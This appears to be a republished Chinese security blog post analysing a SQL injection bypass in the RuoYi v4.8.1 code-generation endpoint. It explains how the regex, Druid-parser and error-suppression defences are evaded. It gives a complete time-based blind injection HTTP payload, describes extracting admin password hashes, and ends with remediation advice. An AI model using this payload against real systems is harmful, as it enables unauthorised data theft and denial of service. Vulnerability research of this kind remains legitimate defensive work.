安服水洞系列-某依v4.8.1代码生成模块SQL注入绕过

admin 2026-01-04 02:00:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析若依v4.8.1代码生成模块SQL注入漏洞。作者利用CREATETABLEASSELECT语句,结合SELECT(去空格和INSTR函数,成功绕过正则、DruidAST及异常处理防御。文章详解了BENCHMARK时间盲注技术,提供了完整Payload与白名单修复建议,实战价值较高。 综合评分: 89 文章分类: 代码审计,渗透测试,漏洞分析,WEB安全,漏洞POC


cover_image

安服水洞系列-某依 v4.8.1 代码生成模块 SQL 注入绕过

原创

小Tiamo

貔瑞安全实验室

2026年1月1日 10:11 山东

前言:

这其实是一个水洞系列啊,因为我感觉没啥用,可能是小Tiamo还是太菜了,也是一个学习,测试的一个产物,各位师傅可以在评论区说一下自己的见解。

这里祝大家新年快乐,马到成功。

  1. 漏洞背景与环境
  • 目标框架:RuoYi (若依) v4.8.1

  • 漏洞组件:代码生成模块 (ruoyi-generator)

  • 漏洞接口/tool/gen/createTable (POST)

  • 参数sql

  • 利用限制:需要能使用/tool/gen/createTabl的权限

  1. 黑名单过滤 (SqlUtil)
  2. AST 语法树校验 (Druid Parser)
  3. 无回显 (Blind SQL Injection)

2. 防御体系深度解析

这个漏洞之所以难以利用,是因为后端设置了“三重关卡”。如果不理解这三层防御的机理,攻击脚本就会不断报错。

第一层:正则黑名单 (SqlUtil.java)

代码逻辑

publicstatic String filterKeyword(String value){
// 这里的 SQL_REGEX 通常包含 "select ", "update ", "insert ", "/*" 等
if (value.matches(SQL_REGEX)) {
thrownew UtilException("参数存在SQL注入风险");
    }
}

防御机理:通过正则表达式检测敏感关键字。

弱点:若依的正则通常匹配的是关键字加空格(例如 "select ")。它假设攻击者必须用空格来分隔关键字。

第二层:Druid 语义校验 (GenController.java)

代码逻辑

List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
for&nbsp;(SQLStatement sqlStatement : sqlStatements) {
if&nbsp;(sqlStatement&nbsp;instanceof&nbsp;MySqlCreateTableStatement) {
// 只有是建表语句才放行
&nbsp; &nbsp; }
}

防御机理

  1. 解析:使用阿里巴巴 Druid SQL Parser 将输入的字符串解析为 AST(抽象语法树)。如果你的 SQL 语法不标准,解析器直接抛出 ParserException,程序终止。
  2. 类型检查:利用 instanceof 强制要求 SQL 语句必须是 CREATE TABLE 类型。这直接封死了直接使用 UPDATEDELETE 或 SELECT 语句的可能性。

第三层:异常吞噬 (无回显)

防御机理

Controller 层使用了 try-catch 捕获了所有异常,并统一返回 {code: 500, msg: "创建表结构异常"}

后果:攻击者无法通过报错信息(Error-Based Injection)获取数据,只能通过时间盲注来推断结果。


3. 攻击链构造与绕过技术

Step 1: 语义欺骗 —— 绕过 instanceof

既然代码强制要求 CREATE TABLE,我们就给它一个 CREATE TABLE

MySQL 支持 CREATE TABLE ... AS SELECT ... 语法。

  • 效果:Druid 解析器将其识别为 MySqlCreateTableStatement,通过类型检查。

  • 价值AS 后面的 SELECT 子句允许我们执行任意查询逻辑。

Payload 原型

CREATETABLE&nbsp;exploit_table&nbsp;ASSELECT&nbsp;...

Step 2: 字符压缩 —— 绕过 SqlUtil 黑名单

SqlUtil 拦截 "select "(带空格)。

在 MySQL 中,括号 () 是天然的分隔符SELECT(1) 和 SELECT 1 是等价的。

  • 绕过技巧:去掉 SELECT 后的所有空格,紧贴左括号。

  • PayloadCREATE TABLE x AS SELECT(1)

Step 3: 解析器战争 —— 绕过 Druid Parser (最难点)

这是本次测试中耗时最长的部分。我们在 SELECT 子句中构造盲注逻辑时,遭遇了 Druid 解析器的疯狂拦截。

  • 失败尝试 1:嵌套函数 (ASCII(SUBSTR(...)))

  • 现象:秒回 200/500,无延时。

  • 原因:Druid 解析器在处理 CREATE TABLE 语句中的子查询时,对 AST 的深度支持有限。三层嵌套(IF -> ASCII -> SUBSTR)导致解析器无法正确构建语法树,或者在构建过程中丢弃了部分节点,导致 SQL 未发往数据库。

  • 失败尝试 2:运算符 (>LIKE)

  • 现象Syntax Error 或无延时。

  • 原因:运算符(Operator)在 AST 中与函数(Function)是不同的节点类型。Druid 可能认为在 CREATE TABLE ... SELECT ( 这里 ) 的上下文中,不应该出现比较运算符,直接判定为语法错误。

  • 失败尝试 3:Hex 编码 (0x72)

  • 原因:Druid 解析器不支持在此处解析十六进制字面量 Token。

  • 成功方案:函数拟态 (INSTR)

  • 原理INSTR(str, substr) 是一个纯粹的函数调用。它的语法结构 Func(Arg1, Arg2) 非常标准,对解析器非常友好。

  • 逻辑等价INSTR(DATABASE(), 'ry') = 1 等价于 DATABASE() LIKE 'ry%'

  • 结果:成功欺骗 Druid 解析器,生成了有效的 SQL 发送给 MySQL。

Step 4: 构造时间盲注

利用 BENCHMARK(50000000, MD5(1)) 制造 CPU 延时。

  • 特性:MySQL 在 CREATE TABLE ... AS SELECT 时,会执行两次查询(一次确定结构,一次插入数据),导致延时翻倍。这是判断注入成功的关键信号。


4. 最终 Payload 解析

POST /tool/gen/createTable HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform:&nbsp;"Windows"
Origin: http://127.0.0.1
Sec-Fetch-Mode: cors
sec-ch-ua-mobile: ?0
Accept: application/json, text/javascript, */*; q=0.01
Cookie: JSESSIONID=91bde8ee-3656-47be-a069-0d323dcc213e
X-CSRF-Token: qbUgj082QGb2iLnOeI9uePWlgrFjq7qvtXPu26vR/28=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Referer: http://127.0.0.1/system/user
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Dest: empty
sec-ch-ua:&nbsp;"Google Chrome";v="143",&nbsp;"Chromium";v="143",&nbsp;"Not A(Brand";v="24"
Content-Length: 151

sql=CREATE+TABLE+find_table_1+AS+SELECT(BENCHMARK(50000000,MD5(1)))FROM+sys_user+LIMIT+1%3b

这里大家还是能看到延时了12秒多但是我只设置了5秒但是不影响使用。

技术亮点

  1. 无空格SELECT( 紧贴,FROM 前后虽有空格但不在黑名单内。
  2. 纯函数:使用 INSTR 代替比较符,安抚 Druid 解析器。
  3. 锚点表:使用 FROM sys_user LIMIT 1。这不仅是为了语法完整,更是一个探测器。如果 sys_user 表不存在,MySQL 会直接报错(Table not found),导致 BENCHMARK 根本不执行。利用这一点,我们可以秒测表是否存在。

5. 漏洞危害与利用场景

通过这个利用链,攻击者可以实现:

  1. 数据库枚举:利用 INSTR 逐位猜解 DATABASE(),获取当前库名。
  2. 表名碰撞:利用 FROM table_name LIMIT 1 的执行特性,通过字典瞬间判断系统中存在哪些敏感表(如 sys_usersys_role)。
  3. 数据脱取:一旦确定了表名(如 sys_user),可以将 DATABASE() 替换为子查询 (SELECT(password)FROM(sys_user)LIMIT(1)),配合 INSTR 逐位提取管理员的密码哈希。
  4. 拒绝服务 (DoS):恶意的超长 BENCHMARK 可能耗尽数据库 CPU 资源。

6. 修复建议

针对此类绕过,仅仅修补正则黑名单是徒劳的,建议从根本上解决:

  1. 白名单校验:对于 createTable 接口,如果业务只需要创建特定的表,应严格限制表名格式。
  2. 去除动态 SQL:如果可能,避免直接接收前端的 SQL 片段。
  3. 升级 Druid:较新版本的 Druid 可能修复了部分解析绕过问题,或者提供了更严格的 WallFilter 配置。
  4. Web 应用防火墙 (WAF):在流量层拦截 BENCHMARKINSTR 等不应该出现在建表请求中的函数。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:貔瑞安全实验室 小Tiamo《安服水洞系列-某依 v4.8.1 代码生成模块 SQL 注入绕过》

2026新年快乐 网络安全文章

2026新年快乐

文章总结: 该文档是一篇发布于2026年1月1日的新年祝福短文,由网络安全与取证研究发布,地点位于北京。内容仅为节日问候,未包含任何技术细节、安全漏洞分析、解决
2025年公众号文章汇总 网络安全文章

2025年公众号文章汇总

文章总结: 本文汇总了2025年公众号文章,重点聚焦开源情报OSINT的方法、工具与实战案例。内容涵盖乌克兰及美国等地缘政治情报分析、社交媒体调查技巧、特定区域
评论:0   参与:  0